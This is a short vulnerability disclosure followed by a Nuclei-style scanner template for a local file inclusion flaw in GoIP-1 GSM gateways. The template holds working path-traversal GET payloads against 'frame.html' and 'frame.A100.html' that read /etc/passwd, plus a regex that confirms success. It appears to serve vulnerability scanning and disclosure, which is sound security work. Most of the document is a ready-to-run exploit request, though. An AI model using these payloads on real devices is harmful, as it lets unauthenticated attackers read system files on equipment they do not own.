GoIP-1 GSM is vulnerable to local file inclusion because input passed thru the 'content' or 'sidebar' GET parameter in 'frame.html' or 'frame.A100.html' is not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary files on the affected system.
PoC代码[已公开]
id: goip-1-lfi
info:
name: GoIP-1 GSM - Local File Inclusion
author: gy741
severity: high
description: GoIP-1 GSM is vulnerable to local file inclusion because input passed thru the 'content' or 'sidebar' GET parameter in 'frame.html' or 'frame.A100.html' is not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary files on the affected system.
reference:
- https://shufflingbytes.com/posts/hacking-goip-gsm-gateway/
- http://www.hybertone.com/uploadfile/download/20140304125509964.pdf
- http://en.dbltek.com/latestfirmwares.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 2
tags: gsm,goip,lfi,iot,vuln
http:
- method: GET
path:
- "{{BaseURL}}/default/en_US/frame.html?content=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
- "{{BaseURL}}/default/en_US/frame.A100.html?sidebar=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
matchers:
- type: regex
regex:
- "root:.*:0:0:"
# digest: 4a0a00473045022100bcb3775113faf5fbca03b7a2cd73779300c1d2030703fc5670ab6dae9e8613ed02205d804cae253ab774584ebebe9c2626323f4e4e31811b08086bd3556cf855b058:922c64590222798bb761d5b6d8e72950